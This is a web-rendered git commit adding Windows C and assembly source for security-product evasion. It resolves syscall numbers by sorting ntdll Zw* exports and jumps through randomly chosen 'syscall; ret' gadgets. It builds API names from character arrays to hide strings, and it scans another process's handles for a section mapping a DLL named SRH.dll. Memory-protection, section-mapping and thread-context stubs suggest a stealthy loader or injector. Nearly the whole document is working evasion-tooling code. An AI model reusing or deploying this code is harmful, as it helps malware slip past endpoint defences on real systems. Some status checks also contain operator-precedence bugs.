handle = handleInfo->Handles[i];
|
||||
|
||||
if (handle.ProcessId == PID) {
|
||||
|
||||
if ((STATUS = ZwQueryObject((void*)handle.Handle, ObjectTypeInformation, objectTypeInfo, 0x1000, NULL, zwFunctions[ZwQueryObjectF].SSN, zwFunctions[ZwQueryObjectF].sysretAddr)) != 0) {
|
||||
|
||||
continue;
|
||||
}
|
||||
|
||||
//check if i got an handle to a section object
|
||||
|
||||
if (ComprareNStringWIDE(objectTypeInfo->Name.Buffer, section, (objectTypeInfo->Name.Length / sizeof(WCHAR))) == TRUE) {
|
||||
|
||||
//comparing with IMAGE NOT AT BASE because that is the return value in status if i try to re-map the DLL, but it is actually mapped
|
||||
|
||||
if ((STATUS = ZwMapViewOfSection((void*)handle.Handle, ((HANDLE)(LONG_PTR)-1), &viewBase, NULL, NULL, NULL, &viewSize, ViewShare, 0, PAGE_READONLY, zwFunctions[ZwMapViewOfSectionF].SSN, zwFunctions[ZwMapViewOfSectionF].sysretAddr)) != 0x40000003) {
|
||||
|
||||
//if it actually was successfully but not for our DLL i need to clean up and continue
|
||||
|
||||
if (STATUS == 0) {
|
||||
|
||||
if (STATUS = ZwUnmapViewOfSection(((HANDLE)(LONG_PTR)-1), viewBase, zwFunctions[ZwUnmapViewOfSectionF].SSN, zwFunctions[ZwUnmapViewOfSectionF].sysretAddr) != 0) {
|
||||
|
||||
return FALSE;
|
||||
|
||||
}
|
||||
}
|
||||
//it always needs to be null for the ZwMapViewOfSection to work
|
||||
viewBase = NULL;
|
||||
continue;
|
||||
}
|
||||
|
||||
|
||||
if (viewBase != NULL) {
|
||||
|
||||
|
||||
//here need to query the memory
|
||||
buffermeminfo = NULL;
|
||||
buffermeminfosize = 0x100;
|
||||
if ((STATUS = ZwAllocateVirtualMemory(((HANDLE)(LONG_PTR)-1), &buffermeminfo, 0, &buffermeminfosize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE, zwFunctions[ZwAllocateVirtualMemoryF].SSN, zwFunctions[ZwAllocateVirtualMemoryF].sysretAddr)) != 0) {
|
||||
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (STATUS = ZwQueryVirtualMemory(((HANDLE)(LONG_PTR)-1), viewBase, MemoryMappedFilenameInformation, buffermeminfo, buffermeminfosize, &returnLengthMem, zwFunctions[ZwQueryVirtualMemoryF].SSN, zwFunctions[ZwQueryVirtualMemoryF].sysretAddr) == 0x80000005) {
|
||||
|
||||
|
||||
//free and re-allocate
|
||||
// FREE
|
||||
if (STATUS = ZwFreeVirtualMemory(((HANDLE)(LONG_PTR)-1), &buffermeminfo, 0, MEM_RELEASE, zwFunctions[ZwFreeVirtualMemoryF].SSN, zwFunctions[ZwFreeVirtualMemoryF].sysretAddr) == 0) {
|
||||
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
//re-allocate
|
||||
buffermeminfosize = returnLengthMem;
|
||||
if ((STATUS = ZwAllocateVirtualMemory(((HANDLE)(LONG_PTR)-1), &buffermeminfo, 0, &buffermeminfosize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE, zwFunctions[ZwAllocateVirtualMemoryF].SSN, zwFunctions[ZwAllocateVirtualMemoryF].sysretAddr)) != 0) {
|
||||
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
//query memory again
|
||||
if (STATUS = ZwQueryVirtualMemory(((HANDLE)(LONG_PTR)-1), viewBase, MemoryMappedFilenameInformation, buffermeminfo, buffermeminfosize, &returnLengthMem, zwFunctions[ZwQueryVirtualMemoryF].SSN, zwFunctions[ZwQueryVirtualMemoryF].sysretAddr) == 0x80000005) {
|
||||
|
||||
|
||||
return FALSE;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
else if (STATUS != 0) {
|
||||
//if it's not buffer overflow but actual error i unmap the dll and continue
|
||||
if (STATUS = ZwUnmapViewOfSection(((HANDLE)(LONG_PTR)-1), viewBase, zwFunctions[ZwUnmapViewOfSectionF].SSN, zwFunctions[ZwUnmapViewOfSectionF].sysretAddr) != 0) {
|
||||
|
||||
return FALSE;
|
||||
|
||||
}
|
||||
viewBase = NULL;
|
||||
continue;
|
||||
|
||||
}
|
||||
|
||||
memoryinfo = (PUNICODE_STRING)buffermeminfo;
|
||||
|
||||
|
||||
|
||||
if (memoryinfo->Buffer != NULL) {
|
||||
|
||||
|
||||
|
||||
//if the path contains the SRH.dll
|
||||
if (containsSubstringUnicode(memoryinfo->Buffer, SRH, memoryinfo->Length / sizeof(WCHAR), 8)) {
|
||||
|
||||
//i free the buffer memory
|
||||
if (STATUS = ZwFreeVirtualMemory(((HANDLE)(LONG_PTR)-1), &buffermeminfo, 0, MEM_RELEASE, zwFunctions[ZwFreeVirtualMemoryF].SSN, zwFunctions[ZwFreeVirtualMemoryF].sysretAddr) == 0) {
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
//i unmap the section since i do not need it anymore
|
||||
if (STATUS = ZwUnmapViewOfSection(((HANDLE)(LONG_PTR)-1), viewBase, zwFunctions[ZwUnmapViewOfSectionF].SSN, zwFunctions[ZwUnmapViewOfSectionF].sysretAddr) != 0) {
|
||||
|
||||
return FALSE;
|
||||
|
||||
}
|
||||
// i return the handle i found
|
||||
return (void*)handle.Handle;
|
||||
}
|
||||
|
||||
}
|
||||
// i haven't found any match
|
||||
if (STATUS = ZwFreeVirtualMemory(((HANDLE)(LONG_PTR)-1), &buffermeminfo, 0, MEM_RELEASE, zwFunctions[ZwFreeVirtualMemoryF].SSN, zwFunctions[ZwFreeVirtualMemoryF].sysretAddr) == 0) {
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
if (STATUS = ZwUnmapViewOfSection(((HANDLE)(LONG_PTR)-1), viewBase, zwFunctions[ZwUnmapViewOfSectionF].SSN, zwFunctions[ZwUnmapViewOfSectionF].sysretAddr) != 0) {
|
||||
|
||||
// MB(NULL, msg, msg, MB_OK | MB_ICONINFORMATION);//1
|
||||
return FALSE;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
; bello code for syscall
|
||||
|
||||
.data
|
||||
; i do not think data is needer here
|
||||
|
||||
.code
|
||||
ZwAllocateVirtualMemory PROC
|
||||
mov r10, rcx
|
||||
mov eax, dword ptr [rsp + 56]
|
||||
jmp qword ptr [rsp + 64]
|
||||
ZwAllocateVirtualMemory ENDP
|
||||
|
||||
ZwProtectVirtualMemory PROC
|
||||
mov r10,rcx
|
||||
mov eax, dword ptr [rsp + 48]
|
||||
jmp qword ptr [rsp + 56]
|
||||
ZwProtectVirtualMemory ENDP
|
||||
|
||||
ZwFlushInstructionCache PROC
|
||||
mov r10,rcx
|
||||
mov rax, r9
|
||||
jmp qword ptr [rsp + 40]
|
||||
ZwFlushInstructionCache ENDP
|
||||
|
||||
ZwCreateSection PROC
|
||||
mov r10,rcx
|
||||
mov eax, dword ptr [rsp + 64]
|
||||
jmp qword ptr [rsp + 72]
|
||||
ZwCreateSection ENDP
|
||||
|
||||
ZwMapViewOfSection PROC
|
||||
mov r10,rcx
|
||||
mov eax, dword ptr [rsp + 88]
|
||||
jmp qword ptr [rsp + 96]
|
||||
ZwMapViewOfSection ENDP
|
||||
|
||||
ZwUnmapViewOfSection PROC
|
||||
mov r10,rcx
|
||||
mov eax, r8d
|
||||
jmp r9
|
||||
ZwUnmapViewOfSection ENDP
|
||||
|
||||
ZwQuerySystemInformation PROC
|
||||
mov r10,rcx
|
||||
mov eax, dword ptr [rsp + 40]
|
||||
jmp qword ptr [rsp + 48]
|
||||
ZwQuerySystemInformation ENDP
|
||||
|
||||
ZwQueryObject PROC
|
||||
mov r10,rcx
|
||||
mov eax, dword ptr [rsp + 48]
|
||||
jmp qword ptr [rsp + 56]
|
||||
ZwQueryObject ENDP
|
||||
|
||||
ZwQueryVirtualMemory PROC
|
||||
mov r10, rcx
|
||||
mov eax, dword ptr [rsp + 56]
|
||||
jmp qword ptr [rsp + 64]
|
||||
ZwQueryVirtualMemory ENDP
|
||||
|
||||
ZwFreeVirtualMemory PROC
|
||||
mov r10,rcx
|
||||
mov eax, dword ptr [rsp + 40]
|
||||
jmp qword ptr [rsp + 48]
|
||||
ZwFreeVirtualMemory ENDP
|
||||
|
||||
ZwSetContextThread PROC
|
||||
mov r10,rcx
|
||||
mov eax, r8d
|
||||
jmp r9
|
||||
ZwSetContextThread ENDP
|
||||
|
||||
ZwGetContextThread PROC
|
||||
mov r10,rcx
|
||||
mov eax, r8d
|
||||
jmp r9
|
||||
ZwGetContextThread ENDP
|
||||
|
||||
end
|
||||
@@ -0,0 +1,375 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include "headers.h"
|
||||
#include "misc.h"
|
||||
|
||||
EXTERN_C NTSTATUS ZwAllocateVirtualMemory(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID* BaseAddress,
|
||||
IN ULONG ZeroBits,
|
||||
IN OUT PSIZE_T RegionSize,
|
||||
IN ULONG AllocationType,
|
||||
IN ULONG Protect,
|
||||
IN DWORD ssn,
|
||||
IN PBYTE syscallret);
|
||||
|
||||
EXTERN_C NTSTATUS ZwProtectVirtualMemory(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID* BaseAddress,
|
||||
IN OUT PSIZE_T RegionSize,
|
||||
IN ULONG NewProtect,
|
||||
OUT PULONG OldProtect,
|
||||
IN DWORD ssn,
|
||||
IN PBYTE syscallret);
|
||||
|
||||
EXTERN_C NTSTATUS ZwFlushInstructionCache(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID BaseAddress,
|
||||
IN ULONG NumberOfBytesToFlush,
|
||||
IN DWORD ssn,
|
||||
IN PBYTE syscallret);
|
||||
|
||||
EXTERN_C NTSTATUS ZwCreateSection(
|
||||
OUT PHANDLE SectionHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
IN PLARGE_INTEGER MaximumSize,
|
||||
IN ULONG SectionPageProtection,
|
||||
IN ULONG AllocationAttributes,
|
||||
IN HANDLE FileHandle,
|
||||
IN DWORD ssn, //8
|
||||
IN PBYTE syscallret //9
|
||||
);
|
||||
|
||||
EXTERN_C NTSTATUS ZwMapViewOfSection(
|
||||
|
||||
IN HANDLE SectionHandle,
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID* BaseAddress,
|
||||
IN SIZE_T ZeroBits,
|
||||
IN SIZE_T CommitSize,
|
||||
IN OUT PLARGE_INTEGER SectionOffset,
|
||||
IN OUT PSIZE_T ViewSize,
|
||||
IN SECTION_INHERIT InheritDisposition,
|
||||
IN ULONG AllocationType,
|
||||
IN ULONG Protect,
|
||||
IN DWORD ssn, //11
|
||||
IN PBYTE syscallret //12
|
||||
);
|
||||
|
||||
EXTERN_C NTSTATUS ZwUnmapViewOfSection(
|
||||
IN HANDLE ProcessHandle, //RCX
|
||||
IN PVOID BaseAddress, //RDX
|
||||
IN DWORD ssn, //R8
|
||||
IN PBYTE syscallret); //R9
|
||||
|
||||
EXTERN_C NTSTATUS ZwQuerySystemInformation(
|
||||
IN ULONG SystemInformationClass, //RCX
|
||||
OUT PVOID SystemInformation, //RDX
|
||||
IN ULONG SystemInformationLength, //R8
|
||||
OUT PULONG ReturnLength, //R9
|
||||
IN DWORD ssn, //RSP + 40
|
||||
IN PBYTE syscallret //RSP + 48
|
||||
);
|
||||
|
||||
EXTERN_C NTSTATUS ZwQueryObject(
|
||||
IN HANDLE Handle,
|
||||
IN ULONG ObjectInformationClass,
|
||||
OUT PVOID ObjectInformation,
|
||||
IN ULONG ObjectInformationLength,
|
||||
OUT PULONG ReturnLength,
|
||||
IN DWORD ssn,
|
||||
IN PBYTE syscallret);
|
||||
|
||||
EXTERN_C NTSTATUS ZwQueryVirtualMemory(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID BaseAddress,
|
||||
IN MEMORY_INFORMATION_CLASS MemoryInformationClass,
|
||||
OUT PVOID MemoryInformation,
|
||||
IN SIZE_T MemoryInformationLength,
|
||||
OUT PSIZE_T ReturnLength,
|
||||
IN DWORD ssn,
|
||||
IN PBYTE syscallret
|
||||
);
|
||||
|
||||
EXTERN_C NTSTATUS ZwFreeVirtualMemory(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID* BaseAddress,
|
||||
IN OUT PSIZE_T RegionSize,
|
||||
IN ULONG FreeType,
|
||||
IN DWORD ssn, //RSP + 40
|
||||
IN PBYTE syscallret //RSP + 48
|
||||
);
|
||||
|
||||
EXTERN_C NTSTATUS ZwSetContextThread(
|
||||
IN HANDLE ThreadHandle,
|
||||
OUT PCONTEXT Context,
|
||||
IN DWORD ssn,
|
||||
IN PBYTE syscallret
|
||||
);
|
||||
|
||||
EXTERN_C NTSTATUS ZwGetContextThread(
|
||||
IN HANDLE ThreadHandle,
|
||||
OUT PCONTEXT Context,
|
||||
IN DWORD ssn,
|
||||
IN PBYTE syscallret
|
||||
);
|
||||
|
||||
|
||||
/*-----------------RANDOMNESS--------------------------*/
|
||||
|
||||
int generateRandomFromAddress(ULONG_PTR ptr) {
|
||||
uintptr_t address = (uintptr_t)ptr;
|
||||
|
||||
// Extract lower bits from the address and scale to fit the range 1-480
|
||||
int randomNumber = ((address >> 3) & 0xFFFFF) % 400 + 1;
|
||||
|
||||
return randomNumber;
|
||||
}
|
||||
|
||||
//retrieve syscall instructions address
|
||||
PBYTE retrieveSCAddr(PBYTE funcStar) {
|
||||
|
||||
int emergencybreak = 0;
|
||||
while (emergencybreak < 2048) {
|
||||
//taking into account indianess crazyness
|
||||
if (funcStar[0] == 0x0f && funcStar[1] == 0x05 && funcStar[2] == 0xc3) {
|
||||
|
||||
return funcStar;
|
||||
}
|
||||
funcStar++;
|
||||
emergencybreak++;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
/*------------------FIND ZW FUNCTIONS------------------*/
|
||||
|
||||
void RetrieveZwFunctions(IN HMODULE hModule, IN PSYSCALL_ENTRY syscalls) {
|
||||
|
||||
|
||||
PBYTE pBase = (PBYTE)hModule;
|
||||
|
||||
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
|
||||
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
return;
|
||||
|
||||
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
|
||||
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
|
||||
return;
|
||||
|
||||
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;
|
||||
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
|
||||
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
|
||||
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
|
||||
|
||||
//variables for syscall
|
||||
CHAR zw[] = { 'Z','w' };
|
||||
CHAR ZwAllocateVirtualMemory[] = { 'Z', 'w', 'A', 'l', 'l', 'o', 'c', 'a', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', '\0' };
|
||||
CHAR ZwProtectVirtualMemory[] = { 'Z', 'w', 'P', 'r', 'o', 't', 'e', 'c', 't', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', '\0' };
|
||||
CHAR ZwFlushInstructionCache[] = { 'Z','w','F','l','u','s','h','I','n','s','t','r','u','c','t','i','o','n','C','a','c','h','e','\0' };
|
||||
CHAR ZwCreateSection[] = { 'Z', 'w', 'C', 'r', 'e', 'a', 't', 'e', 'S', 'e', 'c', 't', 'i', 'o', 'n', '\0' };
|
||||
CHAR ZwMapViewOfSection[] = { 'Z', 'w', 'M', 'a', 'p', 'V', 'i', 'e', 'w', 'O', 'f', 'S', 'e', 'c', 't', 'i', 'o', 'n', '\0' };
|
||||
CHAR ZwUnmapViewOfSection[] = { 'Z', 'w', 'U', 'n', 'm', 'a', 'p', 'V', 'i', 'e', 'w', 'O', 'f', 'S', 'e', 'c', 't', 'i', 'o', 'n', '\0' };
|
||||
CHAR ZwQuerySystemInformation[] = { 'Z', 'w', 'Q', 'u', 'e', 'r', 'y', 'S', 'y', 's', 't', 'e', 'm', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n', '\0' };
|
||||
CHAR ZwQueryObject[] = { 'Z', 'w', 'Q', 'u', 'e', 'r', 'y', 'O', 'b', 'j', 'e', 'c', 't', '\0' };
|
||||
CHAR ZwQueryVirtualMemory[] = { 'Z', 'w', 'Q', 'u', 'e', 'r', 'y', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', '\0' };
|
||||
CHAR ZwFreeVirtualMemory[] = { 'Z', 'w', 'F', 'r', 'e', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', '\0' };
|
||||
CHAR ZwSetContextThread[] = { 'Z', 'w', 'S', 'e', 't', 'C', 'o', 'n', 't', 'e', 'x', 't', 'T', 'h', 'r', 'e', 'a', 'd', '\0' };
|
||||
CHAR ZwGetContextThread[] = { 'Z', 'w', 'G', 'e', 't', 'C', 'o', 'n', 't', 'e', 'x', 't', 'T', 'h', 'r', 'e', 'a', 'd', '\0' };
|
||||
|
||||
int zwCounter = 0;
|
||||
int syscallEntries = 0;
|
||||
DWORD syscallHalf[500] = { 0 };
|
||||
PBYTE functionAddress = NULL;
|
||||
uintptr_t addressValue = 0;
|
||||
DWORD baseAddress = 0x0;
|
||||
DWORD temp = 0x0;
|
||||
|
||||
// looping through all the exported functions
|
||||
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
|
||||
// getting the name of the function
|
||||
CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
|
||||
|
||||
|
||||
|
||||
// searching for the function specified
|
||||
if (CompareNStringASCII(zw, pFunctionName, 2)) {
|
||||
functionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
|
||||
//here i have to fill the struct with function names, address of syscall/ret and ssn
|
||||
addressValue = (uintptr_t)functionAddress;
|
||||
syscallHalf[zwCounter] = (DWORD)(addressValue & 0xFFFFFFFF);
|
||||
zwCounter++;
|
||||
//what i still need to do is to retrieve the syscall instruction to jump to
|
||||
|
||||
if (CompareStringASCII(ZwAllocateVirtualMemory, pFunctionName)) {
|
||||
|
||||
syscalls[0].funcAddr = (FARPROC)functionAddress;
|
||||
syscalls[0].sysretAddr = NULL;
|
||||
syscalls[0].SSN = 0;
|
||||
syscallEntries++;
|
||||
|
||||
}
|
||||
if (CompareStringASCII(ZwProtectVirtualMemory, pFunctionName)) {
|
||||
|
||||
syscalls[1].funcAddr = (FARPROC)functionAddress;
|
||||
syscalls[1].sysretAddr = NULL;
|
||||
syscalls[1].SSN = 0;
|
||||
syscallEntries++;
|
||||
|
||||
}
|
||||
if (CompareStringASCII(ZwFlushInstructionCache, pFunctionName)) {
|
||||
|
||||
syscalls[2].funcAddr = (FARPROC)functionAddress;
|
||||
syscalls[2].sysretAddr = NULL;
|
||||
syscalls[2].SSN = 0;
|
||||
syscallEntries++;
|
||||
|
||||
}
|
||||
if (CompareStringASCII(ZwCreateSection, pFunctionName)) {
|
||||
|
||||
syscalls[3].funcAddr = (FARPROC)functionAddress;
|
||||
syscalls[3].sysretAddr = NULL;
|
||||
syscalls[3].SSN = 0;
|
||||
syscallEntries++;
|
||||
|
||||
}
|
||||
if (CompareStringASCII(ZwMapViewOfSection, pFunctionName)) {
|
||||
|
||||
syscalls[4].funcAddr = (FARPROC)functionAddress;
|
||||
syscalls[4].sysretAddr = NULL;
|
||||
syscalls[4].SSN = 0;
|
||||
syscallEntries++;
|
||||
|
||||
}
|
||||
if (CompareStringASCII(ZwUnmapViewOfSection, pFunctionName)) {
|
||||
|
||||
syscalls[5].funcAddr = (FARPROC)functionAddress;
|
||||
syscalls[5].sysretAddr = NULL;
|
||||
syscalls[5].SSN = 0;
|
||||
syscallEntries++;
|
||||
|
||||
}
|
||||
if (CompareStringASCII(ZwQuerySystemInformation, pFunctionName)) {
|
||||
|
||||
syscalls[6].funcAddr = (FARPROC)functionAddress;
|
||||
syscalls[6].sysretAddr = NULL;
|
||||
syscalls[6].SSN = 0;
|
||||
syscallEntries++;
|
||||
|
||||
}
|
||||
if (CompareStringASCII(ZwQueryObject, pFunctionName)) {
|
||||
|
||||
syscalls[7].funcAddr = (FARPROC)functionAddress;
|
||||
syscalls[7].sysretAddr = NULL;
|
||||
syscalls[7].SSN = 0;
|
||||
syscallEntries++;
|
||||
|
||||
}
|
||||
if (CompareStringASCII(ZwQueryVirtualMemory, pFunctionName)) {
|
||||
|
||||
syscalls[8].funcAddr = (FARPROC)functionAddress;
|
||||
syscalls[8].sysretAddr = NULL;
|
||||
syscalls[8].SSN = 0;
|
||||
syscallEntries++;
|
||||
|
||||
}
|
||||
if (CompareStringASCII(ZwFreeVirtualMemory, pFunctionName)) {
|
||||
|
||||
syscalls[9].funcAddr = (FARPROC)functionAddress;
|
||||
syscalls[9].sysretAddr = NULL;
|
||||
syscalls[9].SSN = 0;
|
||||
syscallEntries++;
|
||||
|
||||
}
|
||||
if (CompareStringASCII(ZwSetContextThread, pFunctionName)) {
|
||||
|
||||
syscalls[10].funcAddr = (FARPROC)functionAddress;
|
||||
syscalls[10].sysretAddr = NULL;
|
||||
syscalls[10].SSN = 0;
|
||||
syscallEntries++;
|
||||
|
||||
}
|
||||
if (CompareStringASCII(ZwGetContextThread, pFunctionName)) {
|
||||
|
||||
syscalls[11].funcAddr = (FARPROC)functionAddress;
|
||||
syscalls[11].sysretAddr = NULL;
|
||||
syscalls[11].SSN = 0;
|
||||
syscallEntries++;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
//this base address i need only once
|
||||
baseAddress = (DWORD)(addressValue >> 32);
|
||||
|
||||
//bubble sort really slow sorting
|
||||
for (int i = 0; i < zwCounter; i++) {
|
||||
for (int j = 0; j < zwCounter - 1 - i; j++) {
|
||||
if (syscallHalf[j] > syscallHalf[j + 1]) {
|
||||
temp = syscallHalf[j + 1];
|
||||
syscallHalf[j + 1] = syscallHalf[j];
|
||||
syscallHalf[j] = temp;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
//i can put the base address at the end
|
||||
syscallHalf[zwCounter++] = baseAddress;
|
||||
|
||||
//here i can go through the list of the half-addresses that i have and pick two
|
||||
//random syscall/ret
|
||||
ULONG_PTR currentAddress = (ULONG_PTR)&RetrieveZwFunctions;
|
||||
while (syscalls[0].sysretAddr == NULL || syscalls[1].sysretAddr == NULL || syscalls[2].sysretAddr == NULL || syscalls[3].sysretAddr == NULL || syscalls[4].sysretAddr == NULL || syscalls[5].sysretAddr == NULL || syscalls[6].sysretAddr == NULL || syscalls[7].sysretAddr == NULL || syscalls[8].sysretAddr == NULL || syscalls[9].sysretAddr == NULL || syscalls[10].sysretAddr == NULL || syscalls[11].sysretAddr == NULL) {
|
||||
|
||||
|
||||
syscalls[0].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
|
||||
currentAddress = currentAddress + 46;
|
||||
syscalls[1].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
|
||||
currentAddress = currentAddress + 46;
|
||||
syscalls[2].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
|
||||
currentAddress = currentAddress + 46;
|
||||
syscalls[3].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
|
||||
currentAddress = currentAddress + 46;
|
||||
syscalls[4].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
|
||||
currentAddress = currentAddress + 46;
|
||||
syscalls[5].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
|
||||
currentAddress = currentAddress + 46;
|
||||
syscalls[6].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
|
||||
currentAddress = currentAddress + 46;
|
||||
syscalls[7].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
|
||||
currentAddress = currentAddress + 46;
|
||||
syscalls[8].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
|
||||
currentAddress = currentAddress + 46;
|
||||
syscalls[9].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
|
||||
currentAddress = currentAddress + 46;
|
||||
syscalls[10].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
|
||||
currentAddress = currentAddress + 46;
|
||||
syscalls[11].sysretAddr = retrieveSCAddr((PBYTE)((uintptr_t)baseAddress << 32 | syscallHalf[generateRandomFromAddress(currentAddress)]));
|
||||
|
||||
|
||||
}
|
||||
|
||||
//here i can go through the list of the functions looking for what i want and then match it
|
||||
//in my array
|
||||
for (int i = 0; i < zwCounter - 1; i++) {
|
||||
|
||||
for (int j = 0; j < syscallEntries; j++) {
|
||||
|
||||
//recycling variables here for comparing purposes
|
||||
addressValue = (uintptr_t)syscalls[j].funcAddr;
|
||||
//if the address of the syscall we want matches any half of those we want, we know that's the right SSN
|
||||
if (syscallHalf[i] == (DWORD)(addressValue & 0xFFFFFFFF)) {
|
||||
syscalls[j].SSN = i;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user